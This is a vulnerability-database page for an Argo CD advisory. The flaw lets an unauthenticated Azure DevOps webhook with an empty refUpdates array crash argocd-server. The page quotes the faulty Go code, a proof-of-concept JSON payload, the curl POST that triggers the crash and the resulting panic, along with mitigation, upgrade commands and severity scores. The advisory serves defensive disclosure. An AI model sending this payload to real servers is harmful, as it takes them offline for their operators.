CVE-2025-59538 — Vulnerability in argoproj/argo-cd/v3 — CVE Details
Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.80%). Schedule for your next planned update.
Does your project use an affected github.com/argoproj/argo-cd/v3 version?
Paste your go.sum to check it for CVE-2025-59538 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.
The slice index [0] is accessed without a length check, causing an index-out-of-range panic.
A single unauthenticated HTTP POST is enough to kill the process.
Details
case azuredevops.GitPushEvent:
// util/webhook/webhook.go -- line ≈147
revision = ParseRevision(payload.Resource.RefUpdates[0].Name) // panics if slice empty
change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
touchedHead = payload.Resource.RefUpdates[0].Name ==
payload.Resource.Repository.DefaultBranch
If the attacker supplies "refUpdates": [], the slice has length 0.
The webhook code has no recover(), so the panic terminates the entire binary.
PoC
payload-azure-empty.json:
{
"eventType": "git.push",
"resource": {
"refUpdates": [],
"repository": {
"remoteUrl": "https://example.com/dummy",
"defaultBranch": "refs/heads/master"
}
}
}
curl call:
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
-H 'Content-Type: application/json' \
--data-binary @payload-azure-empty.json
Observed crash:
panic: runtime error: index out of range [0] with length 0
goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
webhook.go:147 +0x1ea5
...
Mitigation
If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.
apiVersion: v1
kind: Secret
metadata:
name: argocd-secret
type: Opaque
data:
+ webhook.azuredevops.username: <your base64-encoded secret here>
+ webhook.azuredevops.password: <your base64-encoded secret here>
For more information
- Open an issue in the Argo CD issue tracker or discussions
- Join us on Slack in channel #argo-cd
Credits
Discovered by Jakub Ciolek at AlphaSense.
Advisory Timeline
- First published September 30, 2025 (422 days ago).
- Last revised October 23, 2025 — 23 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get github.com/argoproj/argo-cd/v3@v3.1.8
go get github.com/argoproj/argo-cd/v3@v3.2.0-rc2
go get github.com/argoproj/argo-cd/v2@v2.14.20
go get github.com/argoproj/argo-cd/v3@v3.0.19
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (4)
Affects 1 ecosystem: Go (2).
| Package | Fixed In |
|---|---|
| github.com/argoproj/argo-cd/v3 Go · Affected: All versions | 3.1.8 |
| github.com/argoproj/argo-cd/v3 Go · Affected: 3.2.0-rc1 | 3.2.0-rc2 |
| github.com/argoproj/argo-cd/v2 Go · Affected: All versions | 2.14.20 |
| github.com/argoproj/argo-cd/v3 Go · Affected: All versions | 3.0.19 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-248
- CWE-703
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
- https://github.com/argoproj/argo-cd/security/advisories/GHSA-gpx4-37g2-c8pvWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-59538ADVISORY
- https://github.com/argoproj/argo-cd/commit/1a023f1ca7fe4ec942b4b6696804988d5a632bafWEB
- https://github.com/argoproj/argo-cdPACKAGE
- https://pkg.go.dev/vuln/GO-2025-3995WEB
Frequently Asked Questions
- What is CVE-2025-59538?
- Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
- How do I check if my project is affected by CVE-2025-59538?
- CVE-2025-59538 affects github.com/argoproj/argo-cd/v3 and github.com/argoproj/argo-cd/v2. It has a 0.8% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-59538 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 53.6% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2025-59537HIGH
argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload
- CVE-2025-47933
Argo CD allows cross-site scripting on repositories page in github.com/argoproj/argo-cd
- CVE-2025-55190
Argo CD's Project API Token Exposes Repository Credentials in github.com/argoproj/argo-cd
- CVE-2025-59531
Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload in github.com/argoproj/argo-cd
- CVE-2025-55191
Repository Credentials Race Condition Crashes Argo CD Server in github.com/argoproj/argo-cd
- CVE-2025-59537
argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload in github.com/argoproj/argo-cd
- CVE-2026-42880
ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction in github.com/argoproj/argo-cd
- CVE-2026-45738
Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation in github.com/argoproj/argo-cd